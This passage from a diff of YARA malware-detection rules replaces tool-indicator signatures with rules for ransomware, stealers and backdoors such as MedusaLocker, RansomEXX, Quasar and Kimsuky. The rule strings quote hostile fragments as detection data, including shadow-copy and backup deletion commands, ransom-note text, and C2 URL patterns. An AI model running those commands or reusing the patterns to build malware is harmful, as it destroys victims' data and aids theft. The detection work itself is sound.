$s6 = "Vasuko)Yugenizugilobo toxocivoriye yexozoyohuzeb" wide + $s7 = "Yikezevavuzus gucajanesan#Rolapucededoxu xewulep fuwehofiwifi" wide condition: - uint16( 0 ) == 0x5a4d and 3 of them + uint16( 0 ) == 0x5a4d and ( pe.exports ( "_fgeek@8" ) and 2 of them ) or ( 2 of them and for any i in ( 0 .. pe.number_of_sections ) : ( ( pe.sections [ i ] . name == ".rig" ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladongo : FILE +rule DITEKSHEN_MALWARE_Win_Nibiru : FILE { meta: - description = "Detect LadonGo tool that assists in lateral movement across a network" + description = "Detects Nibiru ransomware" author = "ditekSHen" - id = "4dbf7f24-b9ab-5629-8e78-667d9623dea9" + id = "78c3bf75-1ab3-5f88-ba4b-d5a0a906d57c" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1193-L1207" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2486-L2504" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "606172b8fb251cb4ad75de40b55d74779aef6409832f6edf09068083143ec749" + logic_hash = "f3718e9091b09e0f47ecd6715a3a2c160ede6ab9fb144e7ed115dd5a25c8e379" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.Nibiru" strings: - $f1 = "main.VulDetection" fullword ascii - $f2 = "main.BruteFor" fullword ascii - $f3 = "main.RemoteExec" fullword ascii - $f4 = "main.Exploit" fullword ascii - $f5 = "main.Noping" fullword ascii - $f6 = "main.LadonScan" fullword ascii - $f7 = "main.LadonUrlScan" fullword ascii + $s1 = ".encrypt" fullword wide + $s2 = "crypted" fullword wide + $s3 = ".Nibiru" fullword wide + $s4 = "Encryption Complete" fullword wide + $s5 = "All your files,documents,important datas,mp4,mp3 and anything valuable" ascii + $s6 = "EncryptOrDecryptFile" fullword ascii + $s7 = "get_hacker" ascii + $s8 = "/C choice /C Y /N /D Y /T 3 & Del \"" fullword wide + $s9 = "Once You pay,you get the KEY to decrypt files" ascii + $pdb = "\\Projects\\Nibiru\\Nibiru\\obj\\x86\\Release\\Nibiru.pdb" ascii condition: - ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xface ) and 5 of ( $f* ) + uint16( 0 ) == 0x5a4d and ( 7 of them or ( $pdb and 2 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_ENC_Diskcryptor : FILE +rule DITEKSHEN_MALWARE_Win_Medusalocker : FILE { meta: - description = "Detect DiskCryptor open encryption solution that offers encryption of all disk partitions" - author = "ditekSHen" - id = "22b25d5c-d67f-53ac-9ae8-2de077afdda9" + description = "Detects MedusaLocker ransomware" + author = "ditekshen" + id = "06b7645f-228d-5ec1-9b82-88caee447a5c" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1209-L1232" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2506-L2537" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "7ef0bf3b11f7e4055908518ce5b6a49e04d7002ebc3396fd2da32b4e13cf68e0" + logic_hash = "0e2a0a9f12f550a5c6a11731710e0dc2c2e26d17f43d2385bf6e298518631771" score = 75 - quality = 75 + quality = 73 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.MedusaLocker" strings: - $x1 = "\\DiskCryptor\\DCrypt\\" ascii - $s1 = "Error getting %sbootloader configuration" fullword wide - $s2 = "loader.iso" fullword wide - $s3 = "Bootloader config for [%s]" fullword wide - $s4 = "dc_get_mbr_config" fullword ascii - $s5 = "dc_encrypt_iso_image" fullword ascii - $s6 = "dc_start_re_encrypt" fullword ascii - $s7 = "dc_start_encrypt" fullword ascii - $s8 = "_w10_reflect_" ascii - $d1 = "\\DosDevices\\dcrypt" fullword wide - $d2 = "$dcsys$_fail_%x" fullword wide - $d3 = "%s\\$DC_TRIM_%x$" fullword wide - $d4 = "\\Device\\dcrypt" fullword wide - $d5 = "%s\\$dcsys$" fullword wide + $x1 = "\\MedusaLockerInfo\\MedusaLockerProject\\MedusaLocker\\Release\\MedusaLocker.pdb" ascii + $x2 = "SOFTWARE\\Medusa" wide + $x3 = "=?utf-8?B?0RFQctTF0YDQcNC60IXQvdC+IEludGVybmV0IED4cGxvseVyIDEz?=" ascii + $s1 = "Recovery_Instructions.mht" fullword wide + $s2 = "README_LOCK.TXT" fullword wide + $s3 = "C:\\Users\\Public\\Desktop" wide + $s4 = "[LOCKER] " wide + $s5 = "TmV3LUl0ZW0gJ2" ascii + $s6 = "<HEAD>=20" ascii + $s7 = "LIST OF ENCRYPTED FILES" ascii + $s8 = "KEY.FILE" ascii + $cmd1 = { 2f 00 63 00 20 00 64 00 65 00 6c 00 20 00 00 00 20 00 3e 00 3e 00 20 00 4e 00 55 00 4c 00 } + $cmd2 = "vssadmin.exe delete" wide nocase + $cmd3 = "bcdedit.exe /set {default}" wide + $cmd4 = "wbadmin delete systemstatebackup" wide nocase + $mut1 = "{8761ABBD-7F85-42EE-B272-A76179687C63}" fullword wide + $mut2 = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" fullword wide + $mut3 = "{6EDD6D74-C007-4E75-B76A-E5740995E24C}" fullword wide + $ext1 = { 2e 00 52 00 65 00 61 00 64 00 49 00 6e 00 73 00 + 74 00 72 00 75 00 63 00 74 00 69 00 6f 00 6e 00 + 73 00 00 00 00 00 00 00 2e 00 6b 00 65 00 76 00 + 65 00 72 00 73 00 65 00 6e } + $ext2 = ".exe,.dll,.sys,.ini,.lnk,.rdp,.encrypted" fullword ascii condition: - uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 2 of ( $s* ) ) or 4 of ( $s* ) or 3 of ( $d* ) ) + uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or ( 1 of ( $x* ) and ( 4 of ( $s* ) or 1 of ( $mut* ) ) ) or 6 of ( $s* ) or ( 1 of ( $mut* ) and 2 of ( $cmd* ) ) or ( 1 of ( $ext* ) and 5 of them ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PRI_Installerfiletakeover : CVE_2021_41379 FILE +rule DITEKSHEN_MALWARE_Win_Ransomexx : FILE { meta: - description = "Detect InstallerFileTakeOver CVE-2021-41379" - author = "ditekSHen" - id = "8581a306-e6d3-5ac1-a778-76c6505ee174" + description = "Detects RansomEXX ransomware" + author = "ditekshen" + id = "4d1294de-d73c-5f9c-adb7-18ce5b5aca9f" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1234-L1253" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2539-L2555" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "0a9e53138d33494d9b2aa0271b877e405ea2e8accba7c6eeac547caaa7a7c2ea" + logic_hash = "351398d89b847b3439fa58b7aab50f3c6e48be27877d3f8b85cc78e994413ecc" score = 75 - quality = 50 - tags = "CVE-2021-41379, FILE" + quality = 75 + tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.RansomEXX" strings: - $s1 = "splwow64.exe" fullword ascii - $s2 = "notepad.exe" fullword ascii - $s3 = "%s\\System32\\cmd.exe" fullword wide - $s4 = "[SystemFolder]msiexec.exe" fullword wide - $s5 = "microsoft plz" ascii - $s6 = "%TEMP%\\" fullword wide - $x1 = "\\InstallerFileTakeOver.pdb" ascii - $o1 = { 48 b8 fe ff ff ff ff ff ff 7f 48 8b f5 48 83 ce } - $o2 = { 4c 8d 62 10 48 c7 c7 ff ff ff ff 48 8b c7 66 0f } - $o3 = { ff 15 9a 59 00 00 48 8b d8 e8 ba ff ff ff 45 33 } - $o4 = { 49 c7 43 a8 fe ff ff ff 49 89 5b 10 48 8b 05 5a } - $o5 = { 66 89 7c 24 50 48 c7 c2 ff ff ff ff 48 ff c2 66 } + $id = "ransom.exx" ascii + $s1 = "!TXDOT_READ_ME!.txt" fullword wide + $s2 = "debug.txt" fullword wide + $s3 = ".txd0t" fullword wide + $s4 = "crypt_detect" fullword wide + $s5 = "powershell.exe" fullword wide + $s6 = "cipher.exe" fullword ascii wide + $s7 = "?ReflectiveLoader@@" ascii condition: - uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and ( 2 of ( $s* ) or 3 of ( $o* ) ) ) or 4 of ( $s* ) or ( all of ( $o* ) and 2 of them ) ) + uint16( 0 ) == 0x5a4d and ( ( $id and 3 of ( $s* ) ) or all of ( $* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PRI_Juicypotato : FILE +rule DITEKSHEN_MALWARE_Win_Quasarstealer : FILE { meta: - description = "Detect JuicyPotato" - author = "ditekSHen" - id = "2fb52598-9771-507b-a06d-7b9bc693ffee" + description = "Detects Quasar infostealer" + author = "ditekshen" + id = "d0d532fe-bd0a-560a-8570-f6038d694338" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1255-L1270" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2557-L2572" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "43a7ac16b9633fd2e6c43ca142cd0d0e2166287bb51e1b6344119959fe054c19" + logic_hash = "4b6ab49992db4d7bf4404d51b0ef1773249de89545ec31176ad45d00803ba703" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.QuasarStealer" strings: - $x1 = "\\JuicyPotato.pdb" ascii - $x2 = "JuicyPotato v%s" fullword ascii - $s1 = "hello.stg" fullword wide - $s2 = "ppVirtualProcessorRoots" fullword ascii - $s3 = "Lock already taken" fullword ascii - $s4 = "[+] authresult %d" fullword ascii - $s5 = "RPC -> send failed with error: %d" fullword ascii - $s6 = "Priv Adjust FALSE" fullword ascii + $s1 = "PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null" fullword ascii + $s2 = "DQuasar.Common, Version=1.4.0.0, Culture=neutral, PublicKeyToken=null" fullword ascii + $s3 = "Process already elevated." fullword wide + $s4 = "get_PotentiallyVulnerablePasswords" fullword ascii + $s5 = "GetKeyloggerLogsDirectory" ascii + $s6 = "set_PotentiallyVulnerablePasswords" fullword ascii + $s7 = "BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>" ascii condition: - uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 1 of ( $x* ) and 3 of ( $s* ) ) or ( 5 of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and 5 of them } -rule DITEKSHEN_INDICATOR_TOOL_ENUM_Sharpshares : FILE +rule DITEKSHEN_MALWARE_Win_Bandook : FILE { meta: - description = "Detects SharpShares multithreaded C# .NET Assembly to enumerate accessible network shares in a domain" - author = "ditekSHen" - id = "1da53e34-21a3-5b3c-885e-dcc8814ac3c8" + description = "Detects Bandook backdoor" + author = "ditekshen" + id = "c74bd688-c79e-5939-93a8-c2cd9f2cd60e" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1290-L1305" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2676-L2705" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "8b35d6a692814e1b27ffc1db4ab124bf621c156aaf57f24796c422ec95a85715" + logic_hash = "bff09f769aae890d81efe9926cc8ce85c1caa4eeeb6bc7d2321d2d906ac8d6cf" score = 75 - quality = 50 + quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Bandook" strings: - $s1 = "SharpShares." ascii wide - $s2 = "GetComputerShares" fullword ascii - $s3 = "userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*)(!(userAccountControl:1.2" wide - $s4 = "GetAllShares" fullword ascii - $s5 = "stealth:" wide - $s6 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*))" fullword wide - $s7 = /\/targets|ldap|threads/ wide - $s8 = "entriesread" fullword ascii + $s1 = "\"%sLib\\dpx.pyc\" \"%ws\" \"%ws\" \"%ws\" \"%ws\" \"%ws\"" fullword wide + $s2 = "%s\\usd\\dv-%s.dat" fullword ascii + $s3 = "%sprd.dat" fullword ascii + $s4 = "%sfile\\shell\\open\\command" fullword ascii + $s5 = "explorer.exe , %s" fullword ascii + $f1 = "CaptureScreen" fullword ascii + $f2 = "StartShell" fullword ascii + $f3 = "ClearCred" fullword ascii + $f4 = "GrabFileFromDevice" fullword ascii + $f5 = "PutFileOnDevice" fullword ascii + $f6 = "ChromeInject" fullword ascii + $f7 = "StartFileMonitor" fullword ascii + $f8 = "DisableMouseCapture" fullword ascii + $f9 = "StealUSB" fullword ascii + $f10 = "DDOSON" fullword ascii + $f11 = "InstallMac" fullword ascii + $f12 = "SendCam" fullword ascii + $x1 = "RTC-TGUBP" fullword ascii + $x2 = "AVE_MARIA" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 4 of them + uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or 6 of ( $f* ) or ( 2 of ( $s* ) and 3 of ( $f* ) ) or ( all of ( $x* ) and ( 2 of ( $f* ) or 3 of ( $s* ) ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PROX_Revsocks : FILE +rule DITEKSHEN_MALWARE_Win_Kimsuky : FILE { meta: - description = "Detects revsocks Reverse socks5 tunneler with SSL/TLS and proxy support" - author = "ditekSHen" - id = "f85bc557-40ab-5533-8a89-a2de9bbc9ad9" + description = "Detects Kimsuky backdoor" + author = "ditekshen" + id = "6216b874-13f1-5283-9d17-90b7ca6996f8" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1307-L1321" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2707-L2730" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "4a8e68f25b7ba10b0eb9772ed4ba2b9c6566768f2b5a2859df8bac644d196bf3" + logic_hash = "9f9e64a9cfb3f61bc6b355035c5f0644e4750b740e05cb557c6183c7acfc5a19" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Kimsuky" strings: - $s1 = "main.agentpassword" fullword ascii - $s2 = "main.connectForSocks" fullword ascii - $s3 = "main.connectviaproxy" fullword ascii - $s4 = "main.DnsConnectSocks" fullword ascii - $s5 = "main.listenForAgents" fullword ascii - $s6 = "main.listenForClients" fullword ascii - $s7 = "main.getPEMs" fullword ascii + $s1 = "Win%d.%d.%dx64" fullword ascii + $s2 = ".zip" fullword ascii + $s3 = ".enc" fullword ascii + $s4 = "&p2=a" fullword ascii + $s5 = "Content-Disposition: form-data; name=\"binary\"; filename=\"" fullword ascii + $s6 = "%s/?m=a&p1=%s&p2=%s-%s-v%d" fullword ascii + $s7 = "/?m=b&p1=" fullword ascii + $s8 = "/?m=c&p1=" fullword ascii + $s9 = "/?m=d&p1=" fullword ascii + $s10 = "http://%s/%s/?m=e&p1=%s&p2=%s&p3=%s" fullword ascii + $s11 = "taskkill.exe /im iexplore.exe /f" fullword ascii + $s12 = "GetParent" fullword ascii + $s13 = "DllRegisterServer" fullword ascii + $dll1 = "AutoUpdate.dll" fullword ascii + $dll2 = "dropper-ie64.dll" fullword ascii condition: - ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and 4 of them + uint16( 0 ) == 0x5a4d and ( ( 1 of ( $dll* ) and 7 of ( $s* ) ) or ( 11 of ( $* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Azbelt : FILE +rule DITEKSHEN_MALWARE_Win_Dlagent03 : FILE { meta: - description = "Detects azbelt for enumerating Azure related credentials primarily on AAD joined machines" + description = "Detects known Delphi downloader agent downloading second stage payload, notably from discord" author = "ditekSHen" - id = "cf9268d2-1928-51e8-9643-ee0a5bada9fa" + id = "18493e3d-224f-5000-8e44-9ffda9c65cf0" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1323-L1338" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2732-L2753" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "71cc2b3418ea5e285adafe03fa80bade67dc3e4073fe58d42bc6190860b48b43" + logic_hash = "dea63edd48759fd04875e2eb8ac8b00ff801767f071337c667e31c15f0925cdc" score = 75 - quality = 75 + quality = 50 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.DLAgent03" strings: - $s1 = "@http://169.254.169.254/metadata/identity/oauth2/token?api-version=" ascii - $s2 = "@Partner Customer Delegated Admin Offline Processor" fullword ascii - $s3 = "@TargetName: " fullword ascii - $s4 = "httpclient.nim" fullword ascii - $s5 = "@DSREG_DEVICE_JOIN" fullword ascii - $s6 = "@.azure/msal_token_cache.bin" fullword ascii - $s7 = "CredEnumerateW" fullword ascii - $s8 = "@http://169.254.169.254/metadata/instance?api-version=" ascii + $delph1 = "FastMM Borland Edition" fullword ascii + $delph2 = "SOFTWARE\\Borland\\Delphi" ascii + $v1_1 = "InternetOpenUrlA" fullword ascii + $v1_2 = "CreateFileA" fullword ascii + $v1_3 = "WriteFile" fullword ascii + $v2_1 = "WinHttp.WinHttpRequest.5.1" fullword ascii + $v2_2 = { 6f 70 65 6e ?? ?? ?? ?? ?? 73 65 6e 64 ?? ?? ?? ?? 72 65 73 70 6f 6e 73 65 74 65 78 74 } + $url1 = "https://discord.com/" fullword ascii + $url2 = "http://www.superutils.com" fullword ascii + $url3 = "http://www.xboxharddrive.com" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 6 of them + uint16( 0 ) == 0x5a4d and 1 of ( $delph* ) and 1 of ( $url* ) and ( all of ( $v1* ) or 1 of ( $v2* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Dontsleep : FILE +rule DITEKSHEN_MALWARE_Win_Salfram : FILE { meta: - description = "Detects Keep Host Unlocked (Don't Sleep)" - author = "ditekShen" - id = "f71bd0d5-a526-5f1e-8bd3-9e653db610a7" + description = "Detects Salfram executables" + author = "ditekSHen" + id = "323e1c8e-2184-5831-9af5-a460c55fbf7c" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1340-L1354" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2755-L2766" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "b8e2132d3b36c3e2d2662a586916c7e4fc029f81af08b5c18006833c4e6f772f" + logic_hash = "19d7934727baa870dcd3ec77ba596cd64e49763477ba3feb7baec5ab6d3866d3" score = 75 quality = 75 tags = "FILE" + snort2_sid = "920085-920087" + snort3_sid = "920085" + clamav_sig = "MALWARE.Win.Trojan.Salfram" strings: - $s1 = ":Repeat###DEL \"%s\"###if exist \"%s\" goto Repeat###DEL \"%s\"###" wide - $s2 = "powrprof.dll,SetSuspendState" wide - $s3 = "_selfdestruct.bat" wide - $s4 = "please_sleep_block_" ascii - $s5 = "Browser-Type: MiniBowserOK" wide - $s6 = "m_use_all_rule_no_sleep" ascii - $s7 = "BlockbyExecutionState: %d on:%d by_enable:%d" fullword wide + $s1 = "!This Salfram cannot be run in DOS mode." fullword ascii condition: - uint16( 0 ) == 0x5a4d and 4 of them + uint16( 0 ) == 0x5a4d and all of them } -rule DITEKSHEN_INDICATOR_TOOL_Nsudo : FILE +rule DITEKSHEN_MALWARE_Win_Hawkeyev9 { meta: - description = "Detects NSudo allowing to run processes as TrustedInstaller or System" - author = "ditekShen" - id = "9a21b923-b02e-553b-8f53-026d7034c319" + description = "Detects HawkEyeV9 payload" + author = "ditekshen" + id = "ca59aa45-fb55-5f9a-a224-8bd2b72ce5ac" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1356-L1369" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2768-L2793" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "6bcffa79ca06b0b4178d6ea256f98d917c2b19cec0b059889b8d015d226a53f9" + logic_hash = "d24111930dd0230c01963a90c9fbbc0a0a71df170c2ca116bb329e6158cb681c" score = 75 quality = 75 - tags = "FILE" + tags = "" + clamav_sig = "MALWARE.Win.Trojan.HawkEyeV9" strings: - $x1 = "cmd /c start \"NSudo." wide - $x2 = "*\\shell\\NSudo" fullword wide - $x3 = "Projects\\NSudo\\Output\\Release\\x64\\NSudo.pdb" ascii - $s1 = "-ShowWindowMode=Hide" wide - $s2 = "?what@exception@@UEBAPEBDXZ" fullword ascii - $s3 = "NSudo.RunAs." ascii + $id1 = "HawkEye Keylogger - Reborn v9 - {0} Logs - {1} \\ {2}" wide + $id2 = "HawkEye Keylogger - Reborn v9{0}{1} Logs{0}{2} \\ {3}{0}{0}{4}" wide + $str1 = "_PasswordStealer" ascii + $str2 = "_KeyStrokeLogger" ascii + $str3 = "_ScreenshotLogger" ascii + $str4 = "_ClipboardLogger" ascii + $str5 = "_WebCamLogger" ascii + $str6 = "_AntiVirusKiller" ascii + $str7 = "_ProcessElevation" ascii + $str8 = "_DisableCommandPrompt" ascii + $str9 = "_WebsiteBlocker" ascii + $str10 = "_DisableTaskManager" ascii + $str11 = "_AntiDebugger" ascii + $str12 = "_WebsiteVisitorSites" ascii + $str13 = "_DisableRegEdit" ascii + $str14 = "_ExecutionDelay" ascii + $str15 = "_InstallStartupPersistance" ascii condition: - uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or ( 1 of ( $x* ) and 2 of ( $s* ) ) or all of ( $s* ) or 4 of them ) + int16 ( 0 ) == 0x5a4d and ( 1 of ( $id* ) or 5 of ( $str* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Ligolo : FILE +rule DITEKSHEN_MALWARE_Win_Hyperbro : FILE { meta: - description = "Detects Ligolo tool for establishing SOCKS5 or TCP tunnels from a reverse connection" + description = "Detects HyperBro (class names) payload" author = "ditekSHen" - id = "cc461fd1-9a2f-59ce-af74-a0f55b8850b1" + id = "539b796d-297b-5e2f-84df-282ceaa57bd4" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1371-L1385" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2795-L2813" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "b515dc184013c2f67d37e42d7172e2471b3a93c94024be12c7f587296287282d" + logic_hash = "f6e86ef963de885e0bf92ead075e265618c0745104d223302edd824d409c45cd" score = 75 - quality = 73 + quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.HyperBro" strings: - $p1 = "/ligolo/main.go" ascii - $p2 = "/armon/go-socks5" ascii - $s1 = "main.StartLigolo" fullword ascii - $s2 = "main.handleRelay" fullword ascii - $s3 = "main.startSocksProxy" fullword ascii - $s4 = "_main.tlsFingerprint" fullword ascii - $s5 = "main.verifyTlsCertificate" fullword ascii + $s1 = "VTClipboardInfo" ascii wide + $s2 = "VTClipboardMgr" ascii wide + $s3 = "VTFileRename" ascii wide + $s4 = "VTFileRetime" ascii wide + $s5 = "VTKeyboardInfo" ascii wide + $s6 = "VTKeyboardMgr" ascii wide + $s7 = "VTRegeditKeyInfo" ascii wide + $s8 = "VTRegeditMgr" ascii wide + $s9 = "VTRegeditValueInfo" ascii wide + $s10 = "VTFileDataRes" ascii wide condition: - ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and ( ( all of ( $p* ) and 1 of ( $s* ) ) or all of ( $s* ) or ( 1 of ( $p* ) and 4 of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and 9 of them } -rule DITEKSHEN_INDICATOR_TOOL_Extpassword : FILE +rule DITEKSHEN_MALWARE_Linux_UNK01 : FILE { meta: - description = "Detects ExtPassword External Drive Password Recovery" + description = "Detects unknown/unidentified Linux malware" author = "ditekSHen" - id = "bb06d2c1-964d-5a3d-a741-09b8ef5ac7fa" + id = "24c6ff35-9378-5a6b-90d1-9740917b1b72" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1387-L1403" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2815-L2836" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "525530cb7e9f44be0408fd710306f90056b1b6b9a9e4779d8c1eb1ddef443fb0" + logic_hash = "8bb4822c1c7e0f52726ecafafa696d83c741257587f351360c5295163c245450" score = 75 - quality = 25 + quality = 75 tags = "FILE" strings: - $x1 = "ExtPassword!" fullword wide - $s2 = "GReading Chrome password file: %s" fullword wide - $s3 = "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%d" fullword wide - $s4 = "2015-07-27 13:49:41 b8e92227a469de677a66da62e4361f099c0b79d0" ascii - $s5 = "metadata WHERE id = 'password'" ascii - $s6 = /Scanning\s(Credentials\sfolder|Credentials\sfolder|Firefox\sand\sother\sMozilla\sWeb\sbrowsers|Chromium-based\Web\browsers|Outlook\saccounts|Windows\sVault|dialup\/VPN\sitems|wireless\skeys|Windows\ssecurity\squestions|vault\spasswords)/ wide - $s7 = "lhelp32Snapsho" fullword ascii - $s8 = "SELECT origin_" fullword ascii - $s9 = "password#Ck" fullword ascii + $f1 = "%sresponse.php?status" ascii + $f2 = "%supstream.php?mid=%s&os=%s" ascii fullword + $f3 = "%supstream.php?tid=%" ascii + $f4 = "%sindex.php?token=%.32s&flag=%d&name=%s" ascii fullword + $f5 = "%sactive_off.php?id=%d&uniqu=%d" ascii fullword + $s1 = "lock:%i usable num:%i n:%i" fullword ascii + $s2 = "tid:%.*s tNumber:%i" fullword ascii + $s3 = "init.php" fullword ascii + $s4 = "mod_drone" fullword ascii + $s5 = "new_mid" fullword ascii + $s6 = "&exists[]=" fullword ascii + $s7 = "&mod[]=" fullword ascii + $s8 = "shutdown" fullword ascii + $s9 = "&mac[]=%02X%02X%02X%02X%02X%02X" fullword ascii condition: - uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) and 3 of ( $s* ) ) or 6 of ( $s* ) + uint16( 0 ) == 0x457f and ( 3 of ( $f* ) or 6 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Ngrok : FILE +rule DITEKSHEN_MALWARE_Linux_UNK02 : FILE { meta: - description = "Detects Ngrok" + description = "Detects unknown/unidentified Linux malware" author = "ditekSHen" - id = "fc0a0de8-b68b-5b6b-a222-bbc031ebabd3" + id = "6e62df0d-d329-5e52-af74-2a1f19dc4cca" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1405-L1418" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2838-L2852" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - 